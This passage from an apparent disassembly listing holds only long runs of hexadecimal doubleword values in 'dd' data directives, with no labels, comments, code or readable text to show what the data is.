77C8006Dh, 51E781ECh, 571EA46Bh, 803FC4F2h, 8BEE5016h dd 44A753h, 27BAA37Eh dd 0E5A84D61h, 0C5DDFA1Ch, 29020992h, 804B2C98h, 2BF6CF88h dd 0F4D300C8h, 0B6728D76h, 0B7124E5Fh, 2003C72Fh, 0D0D0E88Bh dd 18D56CEFh, 18C6243Ch, 7F180852h, 0BD112069h, 0E7D002Eh dd 0E57E8740h, 173B9F93h, 0F13500C5h, 2CD4A648h, 0D1463CABh dd 0E380A733h, 76DA1AF8h, 7241161Ch, 0C0566240h, 20ED74h dd 11533524h, 0D508A0BEh, 8EAFBF00h, 972C03E4h, 8B0F036Ah dd 1C311DCDh, 80F96788h, 0A4C24F07h, 0CE01E9E3h, 0FFDC87BAh dd 7B583837h, 49B193h, 6289749Dh, 9D72E8F1h, 0BF00AA79h dd 0CB6E0F3h, 374E394h, 8B7F7DA7h, 11F04AD0h, 0F607858Ah dd 5E223A3Dh, 300EF4F0h, 0F0990060h, 2EA9E254h, 3800A0D4h dd 9A2B0C87h, 0B77D29h, 22667EC6h, 1492801Ah, 0AF471C02h dd 80B1C7E6h, 0D68343C0h, 0FF3507E2h, 0A0A2259Ch, 1FF64BFAh dd 2EE3C500h, 0D114AAF7h, 132800FCh, 8AEBBA6Bh, 85002F06h dd 167D3A43h, 4B59011h, 76C97A8Bh, 134880EDh, 5F009C27h dd 2A1CFAF7h, 84C3ECh, 723AC9C6h, 6403776Fh, 0A974B100h dd 128DEFEAh, 0D8E50066h, 0D43BF95Eh, 0CC0E7D9Dh, 40EBC856h dd 1E39C715h, 60C560BAh, 20DB3557h, 0E7006798h, 5C2AC4F8h dd 0D3D2C089h, 0C21E20h, 0CD8C96AEh, 0B2009E8Dh, 998F0C93h dd 2A704F1h, 0C3B6D8A9h, 47C0DF24h, 800D710h, 5DF5E4DEh dd 74D614A4h, 2DDB01E5h, 68DF798Ah, 8BF170A0h, 58431000h dd 627AA241h, 3B260764h, 0A00FBC33h, 5A47F8Ah, 0BF0B7D01h dd 66E46B03h, 52B7E880h, 703DECE5h, 72680109h, 46080047h dd 75A1628Bh, 165C0008h, 8E740CD3h, 4D0003A7h, 0E74948E4h dd 4B1D3Ch, 8D44091h, 67E2EEE5h, 80539E39h, 27A9A3C2h dd 98AE15h, 3874B2CBh, 7F3A1CCh, 42A59203h, 0E8522EDEh dd 0E68CA8h, 2DA03F36h, 8966C3A2h, 1214B40h, 74488E3h dd 0ACA3A1FCh, 0CD003398h, 70AB96D8h, 154F00EEh, 6A3DE0C3h dd 0BD009F33h, 9DD0D907h, 0F2B568C1h, 1D1F4CCh, 1F09DF27h dd 0E40197CBh, 534857B7h, 0A01100ABh, 7CFE124Bh, 0F79B00EAh dd 83E54E2h, 517AF92h, 0B01FBBC3h, 415AE001h, 44242061h dd 0F56E00D8h, 9882FB7Ch, 0E2002FE1h, 0FDC417A7h, 0C0D58E01h dd 8F9B6F88h, 213F4A15h, 46B98045h, 0B1CA2D57h, 0A06D00C6h dd 6F16231Fh, 0F77C792Bh, 0A94A3Ah, 4945881h, 0B0F18Fh dd 5BEE08F2h, 598E25DBh, 1739D200h, 0C96CACADh, 669D377Dh dd 0AF37D7C8h, 0CF25CDE0h, 70034290h, 782AF420h, 0B375F8ABh dd 70B8D8h, 0EA62885Ch, 9DFDF312h, 64262C00h, 0D090E1BAh dd 0F8650319h, 5CC6FB74h, 1C83C9F0h, 0C10E1F1Fh, 24143440h dd 307E623Ch, 0EFE8D10Fh, 0BC014286h, 70680784h, 8620AB02h dd 0B77F0012h, 96A8ED1Eh, 65021F83h, 374DC521h, 0E0CC8FCEh dd 47D04606h, 74FFECBFh, 1DF902DBh, 0B3B64B9Fh, 535F09C0h dd 3208E600h, 0C8439574h, 26FF7C87h, 40AB90h, 4AC27C1Dh dd 1C266B5Eh, 0DF968061h, 499000FFh, 91076A5Bh, 0B13B2A33h dd 9043A0BBh, 0ED4100A9h, 1FD9DE86h, 4F0562BAh, 813A4CE6h dd 685E8780h, 751C9A15h, 0C7690AB4h, 0BC237Eh, 0A2326055h dd 1D01307Fh, 0BB8FB2Ah, 0C040E0F4h, 58345780h, 6850942Eh dd 7A840064h, 0FD9FA4D4h, 0DD17CF85h, 7841AAA7h, 0FE16CB4Bh dd 7B3C4120h, 0BC9C00F2h, 52E18DA6h, 2A0A6205h, 0DCAFBA59h dd 0FF749601h, 3030EC0Bh, 15860425h, 0FE5C0E55h, 0C019B12h dd 0C4032F1Fh, 36809F8h, 0BA601982h, 0EFB9F6F7h, 0AFF4C8ACh dd 0C6E887FCh, 0A4E36E00h, 0A99B6728h, 133098E1h, 1DA0765h dd 0B290E86Ch, 77B5C8AAh, 0CF1F6E70h, 8ECFF35Fh, 5B2C40B4h dd 91AF2F0h, 59A49537h, 0DC150700h, 0F13BE14Dh, 0BC58041Bh dd 0E4804AEAh, 4C757871h, 1EC0305Fh, 9142297Ch, 0BB172090h dd 7200409Bh, 6C3D5ED3h, 999716D0h, 6400EE6Bh, 0EA9E9095h dd 0A471043Ah, 8137F052h, 200EA95Dh, 0C000D984h, 0E0C91E0Fh dd 14FED494h, 0C4496D04h, 2795693Ch, 0B93EBC36h, 7C461B01h dd 0E4BD74B5h, 6A0A8868h, 0E4EDDE37h, 489E0039h, 4E3E31BAh dd 3DCF0036h, 0D9CBB566h, 7098C77Ch, 21020702h, 80DF9F57h dd 0E84FABD0h, 2EC90032h, 0BD399586h, 0F000AF0Ch, 0BF4E946Bh dd 5D104635h, 26007858h, 0F1F3C01Fh, 0A726A33Dh, 8300CF73h dd 80F682EDh, 246E00B8h, 1A4F60E2h, 467FD126h, 28ADD900h dd 0B6C51C3Ch, 0C8A70057h, 0D441D6DDh, 3300F5A5h, 60670408h dd 40D6C0Fh, 0FFDB9824h, 0BD00A348h, 0D69E38C2h, 85C35F3Fh dd 4D2EFEE9h, 697701C0h, 0A97C0065h, 9B4821AFh, 14126C4Eh dd 0AC04B467h, 4080E337h, 7EA4234Bh, 0B8FE01A3h, 0A2D0195Ch dd 0CAF040A1h, 0CC92F85Fh, 3143DF00h, 0C4B8A547h, 8FF9006Bh dd 6DEC227Eh, 10029516h, 0B586FB8Eh, 1BD0E033h, 5772007Fh dd 6C1AED7Bh, 0CC00FD68h, 0F89867BCh, 355FE3h, 34A74905h dd 483E804Ch, 0B3EB3Fh, 0F140FBAFh, 1F9B75h, 0DD1D1E77h dd 0E41B973Dh, 764FA403h, 0EDACE5Dh, 0FAE685C0h, 31499200h dd 1200C591h, 0E38B57D7h, 3993BFEFh, 589D2F3Bh, 52CF428Dh dd 0F890947Bh, 3C00F521h, 7851C03Ah, 241C39A2h, 0A04B4Ah dd 0F617DBD1h, 0AB00C92Bh, 0B83E66B1h, 79798FFCh, 505E0026h dd 920FA3DEh, 0BC00FACCh, 64C77152h, 24767C91h, 1E8FC86h dd 0E6BDD512h, 0BEB2707Eh, 0AF29C316h, 9726C042h, 84C4A0C1h dd 0F7161DAh, 0D04D707Dh, 232EC0DFh, 0F8B7201Ch, 0D3483Dh dd 0BE3168B1h, 3ED0D0Fh, 3EDE767Fh, 7CD81D9Eh, 58C94A10h dd 0F6FC10F0h, 0BC4B4874h, 93333501h, 0E8D2D4B9h, 2900BED9h dd 77513C57h, 0B30289h, 0B926B40Bh, 21F8784Ch, 0B2386900h dd 0E361DBA9h, 0D39024FFh, 174200E8h, 11702C65h, 48A4E118h dd 47B2F60h, 874D6B14h, 0FCEC9061h, 0BE00F343h, 0B8A1B7E4h dd 697104h, 0C3D90B05h, 0FD8EF04Ch, 0FC28589Fh, 1CDB58BEh dd 8022EB1Eh, 0AD980641h, 5091C213h, 3E47919Dh, 5E005187h dd 30221746h, 27409D78h, 0AF1CE3A2h, 96C0D230h, 1B8B95EFh dd 8A990309h, 0EC337D2Eh, 9DD2980Eh, 0BF7500AEh, 3E903140h dd 390E2130h, 0FA406A89h, 0D25A8BEDh, 942798E2h, 0D82780D7h dd 0F047AA7Eh, 171D0703h, 0E2A5451Ch, 0BC804EF7h, 0D0A6F333h dd 54F66FF4h, 0BD1B1301h, 958C26FBh, 0B8FFDEF1h, 48CD4246h dd 850093B8h, 79365B7Bh, 69131222h, 0B080E9B0h, 493BDDDBh dd 0C308F847h, 28A42FD4h, 804BA70Bh, 468F78C8h, 3DD7085h dd 96A66CDFh, 0C8C8F7BFh, 35000422h, 1AA28C8Dh, 0FED9295h dd 794F4E31h, 5E19C322h, 5C4C4448h, 27DD1601h, 5F231FAh dd 3B94ECh, 37C2D88h, 3CC66957h, 86EA7EE4h, 0CE7F8F0Eh dd 0C7278028h, 3CAF090h, 0C266B56Fh, 280EAC8Bh, 20781F08h dd 0A8754D6Eh, 4733066Dh, 20A0247Ch, 0F8C848h, 57B464CCh dd 31DD40h, 2CFEFCE5h, 4495693h, 0CC35F412h, 9838900Ch dd 9590018Ah, 0C1AA6322h, 8B4824DFh, 0D238500h, 1EFF741h dd 7AF6762Ch, 0A39E00ECh, 11C69697h, 0AB0F04FCh, 0BC70F87Eh dd 1F6B79C0h, 3659E3h, 0B88C9832h, 8EE2F21Ah, 376F5600h dd 15EC9735h, 6AFEDEh, 664EFB0Fh, 4925A701h, 233FA213h dd 70328C01h, 5464075Bh, 0A0E9017Dh, 5230356Fh, 80F3FDA6h dd 72FBAEF0h, 0B83E48AFh, 30610639h, 908079A4h, 0CB6200BDh dd 15635E4h, 0F2A6113Eh dd 0F8AFF50Bh, 0F4070358h, 38BDA4CFh, 0A8B51B90h, 446601AAh dd 70CB7BD6h, 70D43180h, 4D440AFCh, 996C0065h, 71D34739h dd 0DD060EFBh, 0AD300B24h, 80850779h, 0A09B90A9h, 895C757Ah dd 9932BB00h, 0C5EB37Eh, 0DD453A29h, 636DA581h, 0F8C5032Bh dd 0E52C3886h, 5C0084C4h, 0D0850EF5h, 0C6890392h, 80586DF8h dd 0E88F3CFAh, 0A3F2D8E0h, 0E05C547h, 0D6046B19h, 82F7EC00h dd 58B2340Ch, 0D1016B25h, 0CAF8839Dh, 7B9D70DBh, 55BA2207h dd 9FE0C3D0h, 2FCA2BEh, 71B55262h, 1CE0682Bh, 0B8603D8Bh dd 9EC3EED0h, 0B0EFF292h, 45B10044h, 128C7ACDh, 9F13CC40h dd 0B8036946h, 0B0A3A57Bh, 73CE04FFh, 0F54A055Dh, 9126EB39h dd 30160998h, 0E714BE74h, 3BB0FEE5h, 5E101E6h, 96333F97h dd 754D88D0h, 6639281Eh, 0B2D9068Ch, 9013F85Eh, 7202CCF1h dd 10C7527Ch, 0C4F0E88Bh, 3EEFF08Ah, 0B180F5FFh, 0D8657DA8h dd 0E25C0989h, 7A270EC8h, 8FDDE087h, 0A102F3h, 2EA9F45Bh dd 0A42471F1h, 3829B402h, 6B1296h, 36EC8FA2h, 910007EEh dd 3DB0EA8h, 1F9094FEh, 25C37EBh, 5011AE8Fh, 0C9004464h dd 6BECC41Eh, 0D6A8F6h, 49F46DDFh, 3ED14DF5h, 9C8D34Ch dd 6A3CADBFh, 0C3F34004h, 6041494Ah, 0A18CF828h, 4F701960h dd 96141252h, 80D867F5h, 7DFBA3A7h, 640FE00Fh, 0BB4CC0F4h dd 38AB3EC6h, 0AA002371h, 0FF75A6EFh, 1300532Ch, 8211A908h dd 5E8860h, 5A059DD6h, 42B16575h, 0B8BC460Bh, 0B47822D0h dd 2733035Ch, 0FEE73490h, 7338840Fh, 0DF51E0B0h, 9030FB64h dd 0CC0F0075h, 9E7DD4BAh, 0ECA8FA57h, 860EBE55h, 6033D8F1h dd 0ACDEE14Bh, 0AEA70084h, 7FE9FB16h, 6C07D656h, 8C8689CFh dd 0AA1C6000h, 11DC1C48h, 0C0FB1F75h, 1D25DAE6h, 37008AE0h dd 19614B78h, 99FF331h, 0FCB1778Eh, 9D814C00h, 0C500064Fh dd 0D5585AD6h, 601F1D21h, 723EA1AEh, 69747C81h, 0C31E7F26h dd 0F199C500h, 834DF6h, 0CDD2A71h, 5B4CAE28h, 0B3AFFB03h dd 0E4EA38F5h, 0B20AD480h, 21A0EC8h, 0B580B08Fh, 0E1270984h dd 1C9E761Ch, 4C266E80h, 33D1A8h, 6A73EA62h, 0BBDFB4A7h dd 94929C7Eh, 0F22E602h, 0C9438F2Ah, 0B0F86754h, 0E343EB8h dd 845B8000h, 924C0D62h, 7B4F9E09h, 279C7EEBh, 9993E4A0h dd 57007A48h, 8DCA1A06h, 1DAB9DD4h, 2D90D381h, 83477010h dd 6E1F84B8h, 0BF8020FCh, 0B45A939Ah, 66491D1Dh, 2D1C879Bh dd 45F3E09Ch, 0A016DEC5h, 0EC00E957h, 0C8BAA1D6h, 3059281Dh dd 0D4F700B4h, 439A949Bh, 0EE09F32Fh, 0DAE064h, 0C4A71E6Ch dd 12BC00DDh, 0C537A93Eh, 0BE004D57h, 8E9929CEh, 188A2Fh dd 0D35C0AA0h, 8089267Eh, 0E01B6300h, 7F69FF82h, 0FA713B0Ch dd 7B1D680h, 3A792D9h, 0DB66C400h, 0B0877375h, 0D3E7017Ch dd 4C27FB83h, 0DC7070ADh, 0E651B618h, 62534D48h, 0D9BDA040h dd 15043CD0h, 0FBB411C7h, 8A765080h, 0A8965Bh, 28A632D8h dd 0D00041D4h, 0C42A5D90h, 88F203h, 0EB91A8E5h, 4B05391Ch dd 36CDA105h, 0D445329Fh, 24B02569h, 2C90CFC9h, 0BA58A120h dd 0E9FC3B3Ch, 0B5AB5617h, 0D1400C5Eh, 0AF459DCDh, 0E59117B2h dd 0B3810CAEh, 0ED789320h, 0CE06A77Ch, 9F1C16C9h, 0C6E90318h dd 1465604Eh, 13755F90h, 0BC7E7901h, 91EEAFB5h, 5D57088Ah dd 0F9FF0134h, 0E0480CA1h, 260046C7h, 3332B18Eh, 0EEBAA7h dd 38A6B275h, 47F3E87Ah, 0E9E55Ch, 6961B43Dh, 39CEB826h dd 0A086117Ch, 38366C03h, 0E8253E05h, 3402A656h, 50CD882Dh dd 986067B8h, 140CC365h, 90004DBBh, 0B7CFECD6h, 7D2244h dd 6D159E2Bh, 6EE16347h, 1A48B400h, 388BC155h, 89110002h dd 26591F77h, 0EB1C4EF9h, 0E8003EF5h, 5EFBA9FAh, 66FAC6h dd 0ED421635h, 6328040Dh, 0C023B300h, 29F9822Bh, 382D38B7h dd 0BCA597h, 4DE8D72Dh, 702DA2Fh, 22BFD897h, 5CF94020h dd 7880000Fh, 7355B65Eh, 0EA002816h, 64EFFC4Bh, 753031h dd 1B37A332h, 21159578h, 2C092600h, 13746334h, 0CDED006Ch dd 0A9FB11A7h, 7E05ECE9h, 0E7D35DE2h, 0C61E8C40h, 3F161514h dd 42801C48h, 0EAF66424h, 1B037956h, 67895AB0h, 0A0B98AE9h dd 60B45EACh, 23C08369h, 171E8C2Dh, 0E806A1CCh, 0F29BC8Eh dd 0F0D4D120h, 83521198h, 233C9307h, 33302FCBh, 96B99Fh dd 0E60BCEABh, 65F10E99h, 0A800674Eh, 0EB16CDA0h, 0B31038Bh dd 0D4D3B07Ch, 3297B901h, 525D830Eh, 0F045FD20h, 4DB412BCh dd 0D64C5E61h, 0EC1840EEh, 0B0DFD21Eh, 50A79401h, 0BF991907h dd 2146DD0h, 9B5B92F9h, 0F6602D21h, 0F1998DCh, 2AE110FFh dd 2E4E90D4h, 3B449680h, 0E9A44505h, 0E77403E5h, 0D4CB201Fh dd 0F66F3DC0h, 6657B718h, 788DE841h, 0A17E0E55h, 40DED837h dd 0B84293CDh, 48075644h, 0ABF923Bh, 0ADE0CC40h, 39010097h dd 2FA2A110h, 9300BD14h, 0F3ABED95h, 0EED64320h, 0A09D0026h dd 235A7E29h, 0A548B16Ah, 0E1310055h, 0A47F50F3h, 0A2A63E36h dd 3AB5D400h, 0B88DC3FEh, 93956001h, 76D2F615h, 0E142BBD9h dd 54B6082h, 0B961CF8h, 0F31FC17Bh, 0DC6A9562h, 97E29FE5h dd 7EE4F700h, 0EB2907BAh, 811A00C6h, 947D5C7Fh, 5D033A6Fh dd 0A64396F7h, 0A1C829DBh, 93705704h, 1F0BFA9Ch, 40295F3Fh dd 7C77A37Eh, 92608980h, 0BD0F1528h, 3CB83F88h, 62859900h dd 215E1318h, 8780A400h, 2DA4FACh, 89562074h, 0E3119F42h dd 89B215Dh, 0AB905076h, 485C7484h, 53E7429Fh, 9498A82Eh dd 0F321288Fh, 0F555223Eh, 0A9F41441h, 6E10D712h, 8EF8954h dd 2BA84476h, 843FAB44h, 0CC113B42h, 82F21A5h, 37916E30h dd 0A8A1DF00h, 1DD99543h, 4ECA3000h, 0D718BF28h, 0DB0312EBh dd 6E00BF16h, 0C59CDA7Ah, 0D392002Ah, 154F5B14h, 10009BDBh dd 0DCEA9F52h, 7C2A0h, 46F87CABh, 5B9DE6B4h, 0BC266400h dd 2C65C536h, 89400E3h, 3B564CA0h, 9F009E69h, 0F58ACD76h dd 39DBD07Eh, 0B183ABD8h, 72F90512h, 0E6142D90h, 0ED5C5800h dd 4F8A307Dh, 0F175001Ah, 7A5FAE70h, 880010F8h, 2EE4AD1Fh dd 73B5BF41h, 0DF010FE3h, 0B3419C4Bh, 2479E9EBh, 0DA004224h dd 0B7E410FDh, 0EF5AE5h, 61128F67h, 8124130Ah, 27EC98C7h dd 7B2C0650h, 879C3042h, 20A690A0h, 0A1007574h, 0DA7E7C46h dd 0B034A05Ah, 0DEF38A3h, 59FF5003h, 23A877A8h, 0CB00EA48h dd 11167CC0h, 13A91B1Eh, 402836ABh, 5B82B278h, 97076214h dd 0BD5CF24Dh, 6B875EF4h, 0FF2E4A90h, 0C80B0033h, 53EDAC83h dd 1707B141h, 31F4B429h, 4FC5C640h, 61E20056h, 5B78B28Dh dd 0AD00D57Fh, 5CF94685h, 0BF3CD3h, 0DB54DDD2h, 8C4F9296h dd 0F7320600h, 5DFF7443h, 0DDAC0526h, 654231h, 0D80ABE80h dd 963AA61Dh, 51598017h, 4C065C41h, 404658Ah, 72C400BDh dd 0D59BE546h, 4B935000h, 0E13BF244h, 0E81D0001h, 826902F5h dd 7700101Fh, 0D2445E54h, 1DAEF65Fh, 1C1317Eh, 2FC01988h dd 80D040DCh, 7701E2DDh, 0B2BEBC8Ch, 46DC0A4Eh, 2343090Ch dd 1800C936h, 1D6F10C4h, 80EE2238h, 2CAF9E01h, 0F869A9EBh dd 821701ABh, 86B31BB1h, 24C243Bh, 9DE46300h, 59461354h dd 4D609D97h, 8CFC3E14h, 5FCFB0A8h, 0C0B99A00h, 0C485BDD4h dd 0B680A01Ah, 9EF40Ch, 5C62E139h, 831EC761h, 0CE09F8B8h dd 0E36C9Fh, 0E2758C54h, 9233488Ah, 0EE19DC07h, 0FD12103Eh dd 4C7049EAh, 0D752E501h dd 0A80236F1h, 7490B944h, 242CB470h, 6C518Dh, 7E083BD8h dd 0B0013A87h, 0DBC09B8h, 87DF18CDh, 4780D3F4h, 0A37365h dd 99A8617Bh, 38A7EA49h, 2D5F8503h, 0F0DA1251h, 0D2ED70h dd 59810CB3h, 28A22996h, 0A00E975h, 0FA4524E7h, 8F6893h dd 7091E38Bh, 357934F3h, 744D9D00h, 53BD0C60h, 6A010055h dd 0D68DAD2h, 5400AF30h, 0E62A540h, 0DD45C7h, 51B7692Eh dd 0AA3B583Eh, 0DA0027B8h, 7744CBADh, 1E604612h, 5786DCBAh dd 0E08000ECh, 0A007A937h, 0D067741Eh, 26EB1540h, 0F2A755BBh dd 689F0032h, 28DF8FA6h, 7E9044F8h, 0EBD01E00h, 0C105C42h dd 0C9323F17h, 8D709D00h, 35E8F736h, 93F97E00h, 0C04579D8h dd 0DAA700E6h, 0CD312C83h, 0D700AE43h, 359FB7B6h, 0F6B2F8Bh dd 39929DBBh, 0DC641440h, 4F006C0Ch, 0B26EFA4Ch, 90509712h dd 92C701B4h, 0F8162FAEh, 5237CCE7h, 0B5B9CC00h, 9721862Bh dd 18322440h, 146F00A4h, 0B0EFAD75h, 2B6CFF0Eh, 0C0FD43CAh dd 89E8C878h, 6EFC77CDh, 0C700A0D1h, 2C6E9606h, 40F7B107h dd 9A50DAFAh, 0BF647Eh, 4FE08DCBh, 2CB80889h, 0D0B64100h dd 0B5679E5h, 140900Eh, 0ABD19E10h, 7FDC8B2Ah, 3967F0h dd 4D513A37h, 0E2C20D60h, 6F7ED100h, 0BBC3A070h, 8C930767h dd 105FFE17h, 0EA0768D5h, 0EC133309h, 4AA0827Eh, 40612402h dd 37D75926h, 0B98402B4h, 0E4D55B2Dh, 3F9F2440h, 0A44AFC3Bh dd 0B0B64D9h, 717C008Fh, 7F3480B6h, 4EE90F96h, 0B9A0748Eh dd 920AC9F2h, 95734512h, 0E290840Eh, 0EFE2DCFh, 0C2699B23h dd 0C900787Bh, 0DE66F908h, 765E7DB1h, 0BD6001Eh, 437F7EEBh dd 0D5076769h, 0FF05175Bh, 8E6E3491h, 48D04880h, 0CBA544DFh dd 0A29370C2h, 648D0397h, 0E02AE3A3h, 0B60034D9h, 2DB1DC6Fh dd 0E82A3036h, 0FC370078h, 4257DED7h, 0A50107ABh, 7D58686Dh dd 22FCFFF3h, 0CE12000Ah, 0C78C74Ah, 2F122EC3h, 0B5A09DE2h dd 34AD4C5Fh, 9DE9928h, 5ED1DB5Dh, 60083E00h, 94396CE8h dd 0CC360411h, 65C01E82h, 78DFC17Eh, 15192C85h, 18A0048h dd 0C8172E2h, 1262AC03h, 71B58CB0h, 0CA73D0h, 0F726AD3Dh dd 2EE1F8FDh, 0E3A533Fh, 606D6061h, 868F3CA0h, 0D0EE13h dd 4D2F4F3Dh, 8D4A79C7h, 9DB98800h, 91174690h, 977600A1h dd 3137A058h, 0BFB00CE5h, 344A0900h, 0E78D1956h, 0DD390904h dd 6400C5B7h, 99F3A2F6h, 2E9D7E00h, 5248ADD6h, 420900A6h dd 0ED736ACCh, 0EC13FE19h, 4C00F353h, 6CF0B45Ch, 98F3B077h dd 0BFEF07A1h, 534F4060h, 2BE3AA79h, 30270CA1h, 0C1005440h dd 35F21507h, 5277B2h, 411CBE9Eh, 7AA2706Eh, 0C7E97B1Dh dd 0B84A04CAh, 43EE2600h, 7E2D6F30h, 84280CA9h, 0DFB6C656h dd 3CD15F00h, 193BE09Ch, 7D740E63h, 0B9005598h, 0BB468BFAh dd 0C9BC4400h, 57C35DA6h, 0BFA70029h, 96431F72h, 6D0F787Ch dd 0A02FBB21h, 32795E17h, 0E87E002Ah, 4AA7DCBFh, 6301C708h dd 0BE5CC96Bh, 36EC4473h, 9098B5h, 0D927353Bh, 8C6AF377h dd 9D98B600h, 0E7714457h, 367118h, 6541D91Ch, 0D7887EA5h dd 0F600F27Bh, 37F72FFEh, 1B96EBFh, 85797849h, 7E4C42Eh dd 0A0809D07h, 0BABCF2h, 7B35B4B3h, 581780B8h, 8793F002h dd 63D7E657h, 960A80A3h, 19641E59h, 0EAD54084h, 0A3D9CAD4h dd 73700E00h, 21DFB27Eh, 85321DCFh, 8C240BD1h, 0A50DA700h dd 340BEA43h, 80D87646h, 18908BACh, 59DC3950h, 88A42680h dd 0BDC6C3ACh, 0CB0078FEh, 116B52E7h, 2EA7E5h, 58926479h dd 0DCC1F3D4h, 0CCF50928h, 0EB414A07h, 6E80C66Dh, 0F3EDF9h dd 0B62CD3CEh, 0C19E911Ch, 0F4719A07h, 0D009B3Bh, 38CD6Ah dd 4663F87Bh, 758B3C0Ah, 0B1002279h, 0A5E75D68h, 0F43813h dd 80655137h, 269A58D5h, 2B4CFA00h, 1F85196Ah, 337FE05h dd 0F97FF8D0h, 98F817ADh, 1E00CEAAh, 21B08356h, 0C5B5A3h dd 5338D378h, 7423EF3Dh, 48FA500h, 0F8A2D203h, 65800EB4h dd 0FFA0D5E6h, 22936AECh, 45643B00h, 1139E9D1h, 0B1740E24h dd 803DAC61h, 475E5C1Dh, 0E009C5Ah, 3E7CC0B4h, 8D8934h dd 484ED92Bh, 8711E77Fh, 0D82FBE00h, 8E6AF0CEh, 0A43F0008h dd 39054957h, 7E01F8CFh, 0BF3B899Bh, 0FFDD46C0h, 0B807C0h dd 0AF14593Dh, 0FA767536h, 0E7B63000h, 0C5BC0B1Ch, 6A1D00F4h dd 0A74C5EBDh, 0CA00FDD5h, 36482B3Ah, 0F2E8089Eh, 0D07105C2h dd 0B013A1h, 0A770699Ch, 0E7004297h, 0F1546130h, 0E0BC02h dd 5D3241B6h, 9E7DFDC6h, 88363C00h, 7231B789h, 8D8A013Dh dd 91523E82h, 5B22E067h, 0CEF5881Ch, 64B30CBBh, 0F630496Fh dd 13510040h, 0DDDAB902h, 0B400D4B2h, 87D15E65h, 563326h dd 0D9B6EC2Ch, 0FFDB1EA6h, 20914203h, 0A885D8E2h, 0F1037Eh dd 21A317A7h, 0D1FA5922h, 83DE8200h, 0AFE94B0Ch, 69ECEF19h dd 39140057h, 21A42E6Bh, 3503BB62h, 678D8222h, 6F429036h dd 0BEAF0063h, 0FF71BD72h, 3A00E2E0h, 0F13D2F02h, 0DB607Fh dd 7D948446h, 0BDC7C115h, 1D07D600h, 5F4A96E2h, 805B1D34h dd 998100C0h, 71B9F650h, 0A180200h, 303A1727h, 0AA080047h dd 98A9A77Bh, 8300F10Eh, 71ACC192h, 12F0DFECh, 952ECCh dd 5CD18124h, 9700C380h, 0B11B199h, 2DD973h, 4EFA071Bh dd 0CFC6FF04h, 2074A90h, 12F60E54h, 4700F88Ah, 0CA5B307Ah dd 0D06F0006h, 0E6F18F51h, 4D001491h, 0BB2EF4DEh, 0E8BCD3h dd 0F7D217ACh, 28B8E4A4h, 7D739B05h, 900481B3h, 0E6C0D8E6h dd 0E94812h, 6F016CC2h, 0AFCA9230h, 81D27F17h, 160A8F00h dd 0CC04D4h, 72771145h, 0B28D5A06h, 0CF97C601h, 70D58C87h dd 0A098F2FCh, 1FC36990h, 1A3C92h, 0BC97B8EFh, 1500C4E2h dd 37BE76C9h, 2BBE07Bh, 4E6722AEh, 0C1009683h, 7DF805h dd 0BF74B9ADh, 0D1EBE573h, 3EB48C00h, 0D645190h, 0E48612AAh dd 137000BDh, 0A03F9630h, 80FC6A39h, 0B6FA75BBh, 2F81F4h dd 0FDEFC8D4h, 130EE190h, 623A8C12h, 0B24FD440h, 83542Ah dd 0C2E0DDE3h, 4D5AB22h, 146A7900h, 5523A143h, 7BCE419h dd 7586E225h, 0E03FA762h, 27D63AAh, 4AA1E400h, 675A18C8h dd 142A8079h, 899CB300h, 1AA79799h, 40170076h, 0A1746C0Dh dd 0F149E3CDh, 68B70F98h, 6D1C60DFh, 82662Bh, 5E3AAD3h dd 235CB5E6h, 98E83400h, 124B84D0h, 0CC81D04h, 0C164801Dh dd 49A54DADh, 52070C90h, 0EEC7FAF2h, 1F562150h, 2A757EF4h dd 5F8E004h, 0C28FCF3Dh, 0DF80093Eh, 5D446001h, 55103417h dd 1845C00h, 4E574B48h, 439E0F62h, 5D20F4F6h, 0A1682308h dd 0FF4FA507h, 0A220C9C8h, 0B357Eh, 0D8AF783Eh, 365AA13Dh dd 9F710400h, 4E179586h, 6A660173h, 2AC28ABAh, 0D73460E4h dd 867D404h, 0ADC08186h, 1653BC3h, 69137BF5h, 40930F04h dd 2015D090h, 3A991700h, 7CD8D386h, 3F3101E1h, 79612DCFh dd 1948F860h, 37877D14h, 343907F5h, 0BD873570h, 6A001E1Eh dd 2B86D959h, 84A701F3h, 0F504CE4Ah, 22AB6075h, 777B7098h dd 4B5C3203h, 0D3EB258Bh, 0CCE19FCBh, 0BC307201h, 5D6B1C45h dd 0DCC48031h, 1A7DBF8Ah, 4AF7CB00h, 9340BA2h, 62490E9Ch dd 6F6410C0h, 12088080h, 0DC98BB4Ch, 17BD6C39h, 3000824h dd 663601ACh, 0A4C00035h, 25B8537Fh, 6CF85FB7h, 0E3C9DAA0h dd 37E05B00h, 0CDF0A74Dh, 61980F1Ah, 180350C6h, 0E4D0D019h dd 850143DBh, 0A0C781E5h dd 2080CA79h, 2F222B7Bh, 0E4007A30h, 0A234F032h, 0FDB9A0h dd 0B46FEF61h, 9982022h, 3154D403h, 0E8879CD8h, 7DD5799h dd 1F1759AFh, 80A02F7Ah, 90474578h, 2E7C3B00h, 994DD4C2h dd 0F3DA009Dh, 6C986B91h, 0AE00C68Eh, 66AC56CBh, 0FC52C1Ch dd 0A0570503h, 8AE7814Fh, 0C680C9B7h, 31AFA47Fh, 0ECF92D00h dd 36F4A002h, 68443A8Ch, 0F6FD4E07h, 0D16D7093h, 5F7E9C10h dd 0E1728100h, 2E409187h, 15DEB8F9h, 903A470Ah, 3198290Eh dd 94920091h, 142FD88Bh, 5268C0FCh, 99336AB0h, 28F10B30h dd 86C846h, 59CAFA23h, 0F62B6CBh, 9CC4000h, 53D71064h dd 0CDE00D6h, 0FE4814E3h, 1EB01A3Bh, 0EE00C975h, 0B471E9ECh dd 0FCF96F8Dh, 0E1E064Eh, 60ED66A7h, 991C731Dh, 5C22837Ch dd 0A83AE692h, 0A0184Bh, 61670DD9h, 0F885CCA2h, 7E53960Fh dd 3F13806Bh, 0D01C02h, 925FC3FFh, 9F4289BDh, 89DA600h dd 0EF60A84Ch, 2DF4DEh, 0C5F8FD48h, 25D26ACFh, 4F71F71Eh dd 0EBA7A9C0h, 0D1588Dh, 8521F3CDh, 6DB8AE3Bh, 0E5F10800h dd 2B54821Ah, 0B9A83952h, 385F200h, 0F7D0E375h, 0A79C4E00h dd 98D95653h, 1E621F48h, 594640AAh, 0E17027B9h, 790CA90Eh dd 99D7A0F6h, 0E0DD6B2Dh, 5898C092h, 4397A98Eh, 853D4513h dd 86798700h, 5A04F9h, 0AAC2CB88h, 9ECA3E7Dh, 0BB67B100h dd 3D5EFE51h, 8BD60034h, 557F78Ch, 4D00C13Eh, 0C3F070EAh dd 